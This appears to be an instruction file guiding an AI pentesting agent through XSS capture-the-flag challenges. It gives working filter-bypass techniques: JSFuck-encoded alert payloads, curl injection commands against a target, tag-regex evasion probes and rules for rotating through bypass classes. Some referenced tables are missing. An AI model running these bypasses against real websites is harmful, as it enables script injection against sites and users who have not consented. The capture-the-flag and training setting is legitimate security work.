Xss

If none trigger the flag in 5 attempts: the filter is unusual. Do NOT iterate more payload variants manually — this consumes the context budget. Instead write exploit/CONVERGED.md with what was tried, then return to orchestrator with "Filter not bypassed in 5 attempts — needs specialist analysis".

Anti-pattern: Iterating 20+ curl variants of payload mutations (changing event handler names, encoding methods, etc.) with zero flag response. Each iteration is one context turn — 20 iterations = 20 turns = context exhausted = timeout. Stop at 5.

JSFuck — Alphanumeric Filter Bypass

Use when: alphanumeric chars are blocked but []()!+ pass through (Pattern B / Cross series).

# Install jsfuck locally (node is pre-installed in sandbox)
npm install jsfuck 2>/dev/null

# Encode with runInParentScope=true (uses eval, avoids Function constructor)
node -e "
const {JSFuck} = require('./node_modules/jsfuck/jsfuck.js');
const payload = JSFuck.encode('alert(\"XSS\")', false, true);
console.log(payload);
" > /tmp/payload.txt

# Verify payload has zero alphanumeric chars
node -e "const p=require('fs').readFileSync('/tmp/payload.txt','utf8').trim(); console.log('len:',p.length,'alnum:',p.replace(/[^a-zA-Z0-9]/g,'').length)"

# Submit via curl, grep for flag in response
PAYLOAD=$(cat /tmp/payload.txt)
curl -sg "$TARGET/page?name=${PAYLOAD}" | grep -i "flag\|new_umbrella\|alert"

Function-constructor TypeError fallback: If server returns TypeError: Attempting to change the setter of an unconfigurable property, the JS sandbox blocks Function constructor access. This is a known JSFuck failure mode in strict-mode / hardened sandboxes.

Fix: use runInParentScope=true (third argument) — switches from Function constructor to eval() injection:

# Default (broken in strict sandboxes): JSFuck.encode(str, false, false)  <- Function constructor
# Fixed:                                JSFuck.encode(str, false, true)   <- eval injection
node -e "const {JSFuck}=require('./node_modules/jsfuck/jsfuck.js'); console.log(JSFuck.encode('alert(1)',false,true))"

If runInParentScope=true still fails, try raw eval wrapping:

# Encode just the string 'alert("XSS")' then wrap in eval manually
node -e "const {JSFuck}=require('./node_modules/jsfuck/jsfuck.js'); const s=JSFuck.encode('\"alert(\\\\\"XSS\\\\\")\"',false,true); console.log('eval('+s+')')"

Cross Challenge Pattern (No Bot / No Cookie)

Win condition: server-side JS evaluator detects alert() call in reflected input. No /report endpoint. No bot. No listener needed.

# Quick alphanumeric filter probe
curl -sg "$TARGET/page?name=abc" | grep -i "error_umbrella\|sorry\|blocked"   # blocked = filter active
curl -sg "$TARGET/page?name=[]()!+" | grep -i "new_umbrella\|ok"              # specials pass = JSFuck viable

# Inject and check response — success indicator appears in HTTP 200 body when alert triggers
curl -sg "$TARGET/page?name=$(cat /tmp/payload.txt | python3 -c 'import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip()))')" | grep -i "new_umbrella\|success\|alert\|xss"

Do NOT waste time on:

• /report, /contact, /visit endpoints (404 on Cross challenges)
• python3 -m http.server listeners (no bot will callback)
• document.cookie exfiltration (cookie setter is frozen — signals Pattern B environment)

Partial-Range Tag Filter Bypass

Some Cross challenges (e.g., filter-bypass example) use a regex like <[a-yA-Y/]+ that blocks < followed by letters a–y / A–Y but excludes z/Z. Probe and bypass:

# Probe whether tag-name first char escapes the filter
curl -sg "$TARGET/page?name=<a>"     | grep -i "sorry"   # likely blocked (a in range)
curl -sg "$TARGET/page?name=<z>"     | grep -i "sorry"   # not blocked = z escapes
curl -sg "$TARGET/page?name=<Z>"     | grep -i "sorry"   # check uppercase Z
curl -sg "$TARGET/page?name=< img>"  | grep -i "sorry"   # space after `<` may bypass

# Once a non-blocked first-char is found, build payload with valid HTML tag.
# PhantomJS treats unknown tag names as elements; event handlers still fire on
# attribute parsing. Try (URL-encode with python3 urllib.parse.quote):
#   <Z src=x>
#   <Zsvg
# If unknown tags don't fire events, use `<svg/onload=...>` style with the
# regex-escaping prefix in front: e.g. some filters with `+` quantifier let
# `<>` (zero letters) slip through followed by `<svg ...>` later in the same
# attribute — test both placements.

Key insight: re.findall + + quantifier requires ≥1 matching char immediately after <. Any first character outside the class (digits, whitespace, z/Z, special chars) bypasses the regex entirely.

Filter Bypass Cookbook

When basic payloads are blocked, use this table to pivot to the next bypass class after ≤3 failures per class:

Pivot rule: After 3 payloads in the same bypass class all fail → move to the NEXT row. Do not iterate within the same class more than 3 times.

Bypass-Class Rotation Rule

The pivot rule in the filter-bypass table limits depth per class. This rule enforces breadth across classes — no more than 2 payloads from the same bypass class against the same endpoint before rotating.

Track classes in exploit/xss_classes.txt:

# Before each payload attempt
CLASS="event-handler"   # name of bypass class for this payload
NTRIED=$(grep -c "^${CLASS}$" exploit/xss_classes.txt 2>/dev/null || echo 0)
if [ "$NTRIED" -ge 2 ]; then
  echo "SKIP: ${CLASS} already tried ${NTRIED} times — rotate to a different class"
else
  echo "${CLASS}" >> exploit/xss_classes.txt
  # ... craft and send payload ...
fi

Bypass classes to rotate among (try at least 4 per endpoint):

Why class-diversity beats deeper iteration: Filter authors typically patch one class at a time. Rotating finds the unpatched class in ~4 attempts; iterating one class to its 10th variant wastes budget on an already-hardened surface.

HARD RULE: If exploit/xss_classes.txt shows ≥4 classes each tried 2× with no bypass — stop manual iteration. Write exploit/CONVERGED.md and return to orchestrator.

Tools